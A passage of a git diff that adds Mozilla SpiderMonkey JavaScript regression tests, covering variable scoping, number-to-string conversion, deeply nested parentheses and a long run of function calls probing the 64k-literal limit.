+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-131510-001.js b/js/src/tests/js1_5/Regress/regress-131510-001.js
new file mode 100644
index 000000000..bf4d605b4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-131510-001.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Mar 2002
+ * SUMMARY: Shouldn't crash if define |var arguments| inside a function
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131510
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 131510;
+var summary = "Shouldn't crash if define |var arguments| inside a function";
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+function f() {var arguments;}
+f();
+
+
+/*
+ * Put same example in function scope instead of global scope
+ */
+function g() { function f() {var arguments;}; f();};
+g();
+
+
+/*
+ * Put these examples in eval scope
+ */
+var s = 'function f() {var arguments;}; f();';
+eval(s);
+
+s = 'function g() { function f() {var arguments;}; f();}; g();';
+eval(s);
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-139316.js b/js/src/tests/js1_5/Regress/regress-139316.js
new file mode 100644
index 000000000..45cf177d3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-139316.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 139316;
+var summary = 'Do not crash in js_ReportIsNotDefined()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
+
+function makeError ()
+{
+ try
+ {
+ foo();
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+f = function ()
+{
+ var e = makeError (function c(){}, function (){},
+ {a: 1}, null, undefined,
+ Number.MAX_VALUE, 0, new Number(1),
+ "hello world", str, new String ("newstring"),
+ true, new Boolean(0),
+ new Date());
+ printStatus (e.stack);
+}
+
+ f();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-140852.js b/js/src/tests/js1_5/Regress/regress-140852.js
new file mode 100644
index 000000000..13d83ce89
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-140852.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 140852;
+var summary = 'String(number) = xxxx:0000 for some numbers';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+value = 99999999999;
+expect = '99999999999';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 100000000000;
+expect = '100000000000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
+value = 426067200000;
+expect = '426067200000';
+actual = value.toString();
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-140974.js b/js/src/tests/js1_5/Regress/regress-140974.js
new file mode 100644
index 000000000..9ef6dafc2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-140974.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 May 2002
+ * SUMMARY: |if (false) {var x;} should create the variable x
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=140974
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 140974;
+var TEST_PASSED = 'variable was created';
+var TEST_FAILED = 'variable was NOT created';
+var summary = '|if (false) {var x;}| should create the variable x';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE X --------------
+status = inSection(1);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+var X;
+
+status = inSection(2);
+actual = TEST_PASSED;
+try{ X;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Y --------------
+status = inSection(3);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) {var Y;};
+
+status = inSection(4);
+actual = TEST_PASSED;
+try{ Y;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+// -------------- THESE TWO SECTIONS TEST THE VARIABLE Z --------------
+status = inSection(5);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+if (false) { for (var Z; false;){} }
+
+status = inSection(6);
+actual = TEST_PASSED;
+try{ Z;} catch(e) {actual = TEST_FAILED}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-146596.js b/js/src/tests/js1_5/Regress/regress-146596.js
new file mode 100644
index 000000000..a96b2d3b8
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-146596.js
@@ -0,0 +1,124 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Jun 2002
+ * SUMMARY: Shouldn't crash when catch parameter is "hidden" by varX
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=146596
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 146596;
+var summary = "Shouldn't crash when catch parameter is 'hidden' by varX";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing we don't crash when executing this function -
+ * This example provided by jim-patterson@ncf.ca
+ *
+ * Brendan: "Jim, thanks for the testcase. But note that |var|
+ * in a JS function makes a function-scoped variable -- JS lacks
+ * block scope apart from for catch variables within catch blocks.
+ *
+ * Therefore the catch variable hides the function-local variable."
+ */
+function F()
+{
+ try
+ {
+ return "A simple exception";
+ }
+ catch(e)
+ {
+ var e = "Another exception";
+ }
+
+ return 'XYZ';
+}
+
+status = inSection(1);
+actual = F();
+expect = "A simple exception";
+addThis();
+
+
+
+/*
+ * Sanity check by Brendan: "This should output
+ *
+ * 24
+ * 42
+ * undefined
+ *
+ * and throw no uncaught exception."
+ *
+ */
+function f(obj)
+{
+ var res = [];
+
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ with(obj)
+ {
+ var e;
+ res[0] = e; // |with| binds tighter than |catch|; s/b |obj.e|
+ }
+
+ res[1] = e; // |catch| binds tighter than function scope; s/b 42
+ }
+
+ res[2] = e; // |var e| has function scope; s/b visible but contain |undefined|
+ return res;
+}
+
+status = inSection(2);
+actual = f({e:24});
+expect = [24, 42, undefined];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-152646.js b/js/src/tests/js1_5/Regress/regress-152646.js
new file mode 100644
index 000000000..c401e394b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-152646.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 July 2002
+ * SUMMARY: Testing expressions with large numbers of parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=152646
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 152646;
+var summary = 'Testing expressions with large numbers of parentheses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing that we don't crash when compiling this assignment -
+ *
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (((0)));' The expected value for this after eval() is 0.
+ */
+status = inSection(1);
+
+var sLeft = '((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((';
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+
+var sRight = '))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))';
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+
+var sEval = 'actual = ' + sLeft + '0' + sRight;
+try
+{
+ eval(sEval);
+}
+catch(e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 0;
+}
+expect = 0;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-155081-2.js b/js/src/tests/js1_5/Regress/regress-155081-2.js
new file mode 100644
index 000000000..b51eee272
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-155081-2.js
@@ -0,0 +1,17520 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 155081;
+var summary = 'Limit of 64k literals';
+var actual = 'No Crash';
+var expect = 'No Crash, No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(A,B,C,D) {}
+
+f('1','2','3','4');
+f('5','6','7','8');
+f('9','10','11','12');
+f('13','14','15','16');
+f('17','18','19','20');
+f('21','22','23','24');
+f('25','26','27','28');
+f('29','30','31','32');
+f('33','34','35','36');
+f('37','38','39','40');
+f('41','42','43','44');
+f('45','46','47','48');
+f('49','50','51','52');
+f('53','54','55','56');
+f('57','58','59','60');
+f('61','62','63','64');
+f('65','66','67','68');
+f('69','70','71','72');
+f('73','74','75','76');
+f('77','78','79','80');
+f('81','82','83','84');
+f('85','86','87','88');
+f('89','90','91','92');
+f('93','94','95','96');
+f('97','98','99','100');
+f('101','102','103','104');
+f('105','106','107','108');
+f('109','110','111','112');
+f('113','114','115','116');
+f('117','118','119','120');
+f('121','122','123','124');
+f('125','126','127','128');
+f('129','130','131','132');
+f('133','134','135','136');
+f('137','138','139','140');
+f('141','142','143','144');
+f('145','146','147','148');
+f('149','150','151','152');
+f('153','154','155','156');
+f('157','158','159','160');
+f('161','162','163','164');
+f('165','166','167','168');
+f('169','170','171','172');
+f('173','174','175','176');
+f('177','178','179','180');
+f('181','182','183','184');
+f('185','186','187','188');
+f('189','190','191','192');
+f('193','194','195','196');
+f('197','198','199','200');
+f('201','202','203','204');
+f('205','206','207','208');
+f('209','210','211','212');
+f('213','214','215','216');
+f('217','218','219','220');
+f('221','222','223','224');
+f('225','226','227','228');
+f('229','230','231','232');
+f('233','234','235','236');
+f('237','238','239','240');
+f('241','242','243','244');
+f('245','246','247','248');
+f('249','250','251','252');
+f('253','254','255','256');
+f('257','258','259','260');
+f('261','262','263','264');
+f('265','266','267','268');
+f('269','270','271','272');
+f('273','274','275','276');
+f('277','278','279','280');
+f('281','282','283','284');
+f('285','286','287','288');
+f('289','290','291','292');
+f('293','294','295','296');
+f('297','298','299','300');
+f('301','302','303','304');
+f('305','306','307','308');
+f('309','310','311','312');
+f('313','314','315','316');
+f('317','318','319','320');
+f('321','322','323','324');
+f('325','326','327','328');
+f('329','330','331','332');
+f('333','334','335','336');
+f('337','338','339','340');
+f('341','342','343','344');
+f('345','346','347','348');
+f('349','350','351','352');
+f('353','354','355','356');
+f('357','358','359','360');
+f('361','362','363','364');
+f('365','366','367','368');
+f('369','370','371','372');
+f('373','374','375','376');
+f('377','378','379','380');
+f('381','382','383','384');
+f('385','386','387','388');
+f('389','390','391','392');
+f('393','394','395','396');
+f('397','398','399','400');
+f('401','402','403','404');
+f('405','406','407','408');
+f('409','410','411','412');
+f('413','414','415','416');
+f('417','418','419','420');
+f('421','422','423','424');
+f('425','426','427','428');
+f('429','430','431','432');
+f('433','434','435','436');
+f('437','438','439','440');
+f('441','442','443','444');
+f('445','446','447','448');
+f('449','450','451','452');
+f('453','454','455','456');
+f('457','458','459','460');
+f('461','462','463','464');
+f('465','466','467','468');
+f('469','470','471','472');
+f('473','474','475','476');
+f('477','478','479','480');
+f('481','482','483','484');
+f('485','486','487','488');
+f('489','490','491','492');
+f('493','494','495','496');
+f('497','498','499','500');
+f('501','502','503','504');
+f('505','506','507','508');
+f('509','510','511','512');
+f('513','514','515','516');
+f('517','518','519','520');
+f('521','522','523','524');
+f('525','526','527','528');
+f('529','530','531','532');
+f('533','534','535','536');
+f('537','538','539','540');
+f('541','542','543','544');
+f('545','546','547','548');
+f('549','550','551','552');
+f('553','554','555','556');
+f('557','558','559','560');
+f('561','562','563','564');
+f('565','566','567','568');
+f('569','570','571','572');
+f('573','574','575','576');
+f('577','578','579','580');
+f('581','582','583','584');
+f('585','586','587','588');
+f('589','590','591','592');
+f('593','594','595','596');
+f('597','598','599','600');
+f('601','602','603','604');
+f('605','606','607','608');
+f('609','610','611','612');
+f('613','614','615','616');
+f('617','618','619','620');
+f('621','622','623','624');
+f('625','626','627','628');
+f('629','630','631','632');
+f('633','634','635','636');
+f('637','638','639','640');
+f('641','642','643','644');
+f('645','646','647','648');
+f('649','650','651','652');
+f('653','654','655','656');
+f('657','658','659','660');
+f('661','662','663','664');
+f('665','666','667','668');
+f('669','670','671','672');
+f('673','674','675','676');
+f('677','678','679','680');
+f('681','682','683','684');
+f('685','686','687','688');
+f('689','690','691','692');
+f('693','694','695','696');
+f('697','698','699','700');
+f('701','702','703','704');
+f('705','706','707','708');
+f('709','710','711','712');
+f('713','714','715','716');
+f('717','718','719','720');
+f('721','722','723','724');
+f('725','726','727','728');
+f('729','730','731','732');
+f('733','734','735','736');
+f('737','738','739','740');
+f('741','742','743','744');
+f('745','746','747','748');
+f('749','750','751','752');
+f('753','754','755','756');
+f('757','758','759','760');
+f('761','762','763','764');
+f('765','766','767','768');
+f('769','770','771','772');
+f('773','774','775','776');
+f('777','778','779','780');
+f('781','782','783','784');
+f('785','786','787','788');
+f('789','790','791','792');
+f('793','794','795','796');
+f('797','798','799','800');
+f('801','802','803','804');
+f('805','806','807','808');
+f('809','810','811','812');
+f('813','814','815','816');
+f('817','818','819','820');
+f('821','822','823','824');
+f('825','826','827','828');
+f('829','830','831','832');
+f('833','834','835','836');
+f('837','838','839','840');
+f('841','842','843','844');
+f('845','846','847','848');
+f('849','850','851','852');
+f('853','854','855','856');
+f('857','858','859','860');
+f('861','862','863','864');
+f('865','866','867','868');
+f('869','870','871','872');
+f('873','874','875','876');
+f('877','878','879','880');
+f('881','882','883','884');
+f('885','886','887','888');
+f('889','890','891','892');
+f('893','894','895','896');
+f('897','898','899','900');
+f('901','902','903','904');
+f('905','906','907','908');
+f('909','910','911','912');
+f('913','914','915','916');
+f('917','918','919','920');
+f('921','922','923','924');
+f('925','926','927','928');
+f('929','930','931','932');
+f('933','934','935','936');
+f('937','938','939','940');
+f('941','942','943','944');
+f('945','946','947','948');
+f('949','950','951','952');
+f('953','954','955','956');
+f('957','958','959','960');
+f('961','962','963','964');
+f('965','966','967','968');
+f('969','970','971','972');
+f('973','974','975','976');
+f('977','978','979','980');
+f('981','982','983','984');
+f('985','986','987','988');
+f('989','990','991','992');
+f('993','994','995','996');
+f('997','998','999','1000');
+f('1001','1002','1003','1004');
+f('1005','1006','1007','1008');
+f('1009','1010','1011','1012');
+f('1013','1014','1015','1016');
+f('1017','1018','1019','1020');
+f('1021','1022','1023','1024');
+f('1025','1026','1027','1028');
+f('1029','1030','1031','1032');
+f('1033','1034','1035','1036');
+f('1037','1038','1039','1040');
+f('1041','1042','1043','1044');
+f('1045','1046','1047','1048');
+f('1049','1050','1051','1052');
+f('1053','1054','1055','1056');
+f('1057','1058','1059','1060');
+f('1061','1062','1063','1064');
+f('1065','1066','1067','1068');
+f('1069','1070','1071','1072');
+f('1073','1074','1075','1076');
+f('1077','1078','1079','1080');
+f('1081','1082','1083','1084');
+f('1085','1086','1087','1088');
+f('1089','1090','1091','1092');
+f('1093','1094','1095','1096');
+f('1097','1098','1099','1100');
+f('1101','1102','1103','1104');
+f('1105','1106','1107','1108');
+f('1109','1110','1111','1112');
+f('1113','1114','1115','1116');
+f('1117','1118','1119','1120');
+f('1121','1122','1123','1124');
+f('1125','1126','1127','1128');
+f('1129','1130','1131','1132');
+f('1133','1134','1135','1136');
+f('1137','1138','1139','1140');
+f('1141','1142','1143','1144');
+f('1145','1146','1147','1148');
+f('1149','1150','1151','1152');
+f('1153','1154','1155','1156');
+f('1157','1158','1159','1160');
+f('1161','1162','1163','1164');
+f('1165','1166','1167','1168');
+f('1169','1170','1171','1172');
+f('1173','1174','1175','1176');
+f('1177','1178','1179','1180');
+f('1181','1182','1183','1184');
+f('1185','1186','1187','1188');
+f('1189','1190','1191','1192');
+f('1193','1194','1195','1196');
+f('1197','1198','1199','1200');
+f('1201','1202','1203','1204');
+f('1205','1206','1207','1208');
+f('1209','1210','1211','1212');
+f('1213','1214','1215','1216');
+f('1217','1218','1219','1220');
+f('1221','1222','1223','1224');
+f('1225','1226','1227','1228');
+f('1229','1230','1231','1232');
+f('1233','1234','1235','1236');
+f('1237','1238','1239','1240');
+f('1241','1242','1243','1244');
+f('1245','1246','1247','1248');
+f('1249','1250','1251','1252');
+f('1253','1254','1255','1256');
+f('1257','1258','1259','1260');
+f('1261','1262','1263','1264');
+f('1265','1266','1267','1268');
+f('1269','1270','1271','1272');
+f('1273','1274','1275','1276');
+f('1277','1278','1279','1280');
+f('1281','1282','1283','1284');
+f('1285','1286','1287','1288');
+f('1289','1290','1291','1292');
+f('1293','1294','1295','1296');
+f('1297','1298','1299','1300');
+f('1301','1302','1303','1304');
+f('1305','1306','1307','1308');
+f('1309','1310','1311','1312');
+f('1313','1314','1315','1316');
+f('1317','1318','1319','1320');
+f('1321','1322','1323','1324');
+f('1325','1326','1327','1328');
+f('1329','1330','1331','1332');
+f('1333','1334','1335','1336');
+f('1337','1338','1339','1340');
+f('1341','1342','1343','1344');
+f('1345','1346','1347','1348');
+f('1349','1350','1351','1352');
+f('1353','1354','1355','1356');
+f('1357','1358','1359','1360');
+f('1361','1362','1363','1364');
+f('1365','1366','1367','1368');
+f('1369','1370','1371','1372');
+f('1373','1374','1375','1376');
+f('1377','1378','1379','1380');
+f('1381','1382','1383','1384');
+f('1385','1386','1387','1388');
+f('1389','1390','1391','1392');
+f('1393','1394','1395','1396');
+f('1397','1398','1399','1400');
+f('1401','1402','1403','1404');
+f('1405','1406','1407','1408');
+f('1409','1410','1411','1412');
+f('1413','1414','1415','1416');
+f('1417','1418','1419','1420');
+f('1421','1422','1423','1424');
+f('1425','1426','1427','1428');
+f('1429','1430','1431','1432');
+f('1433','1434','1435','1436');
+f('1437','1438','1439','1440');
+f('1441','1442','1443','1444');
+f('1445','1446','1447','1448');
+f('1449','1450','1451','1452');
+f('1453','1454','1455','1456');
+f('1457','1458','1459','1460');
+f('1461','1462','1463','1464');
+f('1465','1466','1467','1468');
+f('1469','1470','1471','1472');
+f('1473','1474','1475','1476');
+f('1477','1478','1479','1480');
+f('1481','1482','1483','1484');
+f('1485','1486','1487','1488');
+f('1489','1490','1491','1492');
+f('1493','1494','1495','1496');
+f('1497','1498','1499','1500');
+f('1501','1502','1503','1504');
+f('1505','1506','1507','1508');
+f('1509','1510','1511','1512');
+f('1513','1514','1515','1516');
+f('1517','1518','1519','1520');
+f('1521','1522','1523','1524');
+f('1525','1526','1527','1528');
+f('1529','1530','1531','1532');
+f('1533','1534','1535','1536');
+f('1537','1538','1539','1540');
+f('1541','1542','1543','1544');
+f('1545','1546','1547','1548');
+f('1549','1550','1551','1552');
+f('1553','1554','1555','1556');
+f('1557','1558','1559','1560');
+f('1561','1562','1563','1564');
+f('1565','1566','1567','1568');
+f('1569','1570','1571','1572');
+f('1573','1574','1575','1576');
+f('1577','1578','1579','1580');
+f('1581','1582','1583','1584');
+f('1585','1586','1587','1588');
+f('1589','1590','1591','1592');
+f('1593','1594','1595','1596');
+f('1597','1598','1599','1600');
+f('1601','1602','1603','1604');
+f('1605','1606','1607','1608');
+f('1609','1610','1611','1612');
+f('1613','1614','1615','1616');
+f('1617','1618','1619','1620');
+f('1621','1622','1623','1624');
+f('1625','1626','1627','1628');
+f('1629','1630','1631','1632');
+f('1633','1634','1635','1636');
+f('1637','1638','1639','1640');
+f('1641','1642','1643','1644');
+f('1645','1646','1647','1648');
+f('1649','1650','1651','1652');
+f('1653','1654','1655','1656');
+f('1657','1658','1659','1660');
+f('1661','1662','1663','1664');
+f('1665','1666','1667','1668');
+f('1669','1670','1671','1672');
+f('1673','1674','1675','1676');
+f('1677','1678','1679','1680');
+f('1681','1682','1683','1684');
+f('1685','1686','1687','1688');
+f('1689','1690','1691','1692');
+f('1693','1694','1695','1696');
+f('1697','1698','1699','1700');
+f('1701','1702','1703','1704');
+f('1705','1706','1707','1708');
+f('1709','1710','1711','1712');
+f('1713','1714','1715','1716');
+f('1717','1718','1719','1720');
+f('1721','1722','1723','1724');
+f('1725','1726','1727','1728');
+f('1729','1730','1731','1732');
+f('1733','1734','1735','1736');
+f('1737','1738','1739','1740');
+f('1741','1742','1743','1744');
+f('1745','1746','1747','1748');
+f('1749','1750','1751','1752');
+f('1753','1754','1755','1756');
+f('1757','1758','1759','1760');
+f('1761','1762','1763','1764');
+f('1765','1766','1767','1768');
+f('1769','1770','1771','1772');
+f('1773','1774','1775','1776');
+f('1777','1778','1779','1780');
+f('1781','1782','1783','1784');
+f('1785','1786','1787','1788');
+f('1789','1790','1791','1792');
+f('1793','1794','1795','1796');
+f('1797','1798','1799','1800');
+f('1801','1802','1803','1804');
+f('1805','1806','1807','1808');
+f('1809','1810','1811','1812');
+f('1813','1814','1815','1816');
+f('1817','1818','1819','1820');
+f('1821','1822','1823','1824');
+f('1825','1826','1827','1828');
+f('1829','1830','1831','1832');
+f('1833','1834','1835','1836');
+f('1837','1838','1839','1840');
+f('1841','1842','1843','1844');
+f('1845','1846','1847','1848');
+f('1849','1850','1851','1852');
+f('1853','1854','1855','1856');
+f('1857','1858','1859','1860');
+f('1861','1862','1863','1864');
+f('1865','1866','1867','1868');
+f('1869','1870','1871','1872');
+f('1873','1874','1875','1876');
+f('1877','1878','1879','1880');
+f('1881','1882','1883','1884');
+f('1885','1886','1887','1888');
+f('1889','1890','1891','1892');
+f('1893','1894','1895','1896');
+f('1897','1898','1899','1900');
+f('1901','1902','1903','1904');
+f('1905','1906','1907','1908');
+f('1909','1910','1911','1912');
+f('1913','1914','1915','1916');
+f('1917','1918','1919','1920');
+f('1921','1922','1923','1924');
+f('1925','1926','1927','1928');
+f('1929','1930','1931','1932');
+f('1933','1934','1935','1936');
+f('1937','1938','1939','1940');
+f('1941','1942','1943','1944');
+f('1945','1946','1947','1948');
+f('1949','1950','1951','1952');
+f('1953','1954','1955','1956');
+f('1957','1958','1959','1960');
+f('1961','1962','1963','1964');
+f('1965','1966','1967','1968');
+f('1969','1970','1971','1972');
+f('1973','1974','1975','1976');
+f('1977','1978','1979','1980');
+f('1981','1982','1983','1984');
+f('1985','1986','1987','1988');
+f('1989','1990','1991','1992');
+f('1993','1994','1995','1996');
+f('1997','1998','1999','2000');
+f('2001','2002','2003','2004');
+f('2005','2006','2007','2008');
+f('2009','2010','2011','2012');
+f('2013','2014','2015','2016');
+f('2017','2018','2019','2020');
+f('2021','2022','2023','2024');
+f('2025','2026','2027','2028');
+f('2029','2030','2031','2032');
+f('2033','2034','2035','2036');
+f('2037','2038','2039','2040');
+f('2041','2042','2043','2044');
+f('2045','2046','2047','2048');
+f('2049','2050','2051','2052');
+f('2053','2054','2055','2056');
+f('2057','2058','2059','2060');
+f('2061','2062','2063','2064');
+f('2065','2066','2067','2068');
+f('2069','2070','2071','2072');
+f('2073','2074','2075','2076');
+f('2077','2078','2079','2080');
+f('2081','2082','2083','2084');
+f('2085','2086','2087','2088');
+f('2089','2090','2091','2092');
+f('2093','2094','2095','2096');
+f('2097','2098','2099','2100');
+f('2101','2102','2103','2104');
+f('2105','2106','2107','2108');
+f('2109','2110','2111','2112');
+f('2113','2114','2115','2116');
+f('2117','2118','2119','2120');
+f('2121','2122','2123','2124');
+f('2125','2126','2127','2128');
+f('2129','2130','2131','2132');
+f('2133','2134','2135','2136');
+f('2137','2138','2139','2140');
+f('2141','2142','2143','2144');
+f('2145','2146','2147','2148');
+f('2149','2150','2151','2152');
+f('2153','2154','2155','2156');
+f('2157','2158','2159','2160');
+f('2161','2162','2163','2164');
+f('2165','2166','2167','2168');
+f('2169','2170','2171','2172');
+f('2173','2174','2175','2176');
+f('2177','2178','2179','2180');
+f('2181','2182','2183','2184');
+f('2185','2186','2187','2188');
+f('2189','2190','2191','2192');
+f('2193','2194','2195','2196');
+f('2197','2198','2199','2200');
+f('2201','2202','2203','2204');
+f('2205','2206','2207','2208');
+f('2209','2210','2211','2212');
+f('2213','2214','2215','2216');
+f('2217','2218','2219','2220');
+f('2221','2222','2223','2224');
+f('2225','2226','2227','2228');
+f('2229','2230','2231','2232');
+f('2233','2234','2235','2236');
+f('2237','2238','2239','2240');
+f('2241','2242','2243','2244');
+f('2245','2246','2247','2248');
+f('2249','2250','2251','2252');
+f('2253','2254','2255','2256');
+f('2257','2258','2259','2260');
+f('2261','2262','2263','2264');
+f('2265','2266','2267','2268');
+f('2269','2270','2271','2272');
+f('2273','2274','2275','2276');
+f('2277','2278','2279','2280');
+f('2281','2282','2283','2284');
+f('2285','2286','2287','2288');
+f('2289','2290','2291','2292');
+f('2293','2294','2295','2296');
+f('2297','2298','2299','2300');
+f('2301','2302','2303','2304');
+f('2305','2306','2307','2308');
+f('2309','2310','2311','2312');
+f('2313','2314','2315','2316');
+f('2317','2318','2319','2320');
+f('2321','2322','2323','2324');
+f('2325','2326','2327','2328');
+f('2329','2330','2331','2332');
+f('2333','2334','2335','2336');
+f('2337','2338','2339','2340');
+f('2341','2342','2343','2344');
+f('2345','2346','2347','2348');
+f('2349','2350','2351','2352');
+f('2353','2354','2355','2356');
+f('2357','2358','2359','2360');
+f('2361','2362','2363','2364');
+f('2365','2366','2367','2368');
+f('2369','2370','2371','2372');
+f('2373','2374','2375','2376');
+f('2377','2378','2379','2380');
+f('2381','2382','2383','2384');
+f('2385','2386','2387','2388');
+f('2389','2390','2391','2392');
+f('2393','2394','2395','2396');
+f('2397','2398','2399','2400');
+f('2401','2402','2403','2404');
+f('2405','2406','2407','2408');
+f('2409','2410','2411','2412');
+f('2413','2414','2415','2416');
+f('2417','2418','2419','2420');
+f('2421','2422','2423','2424');
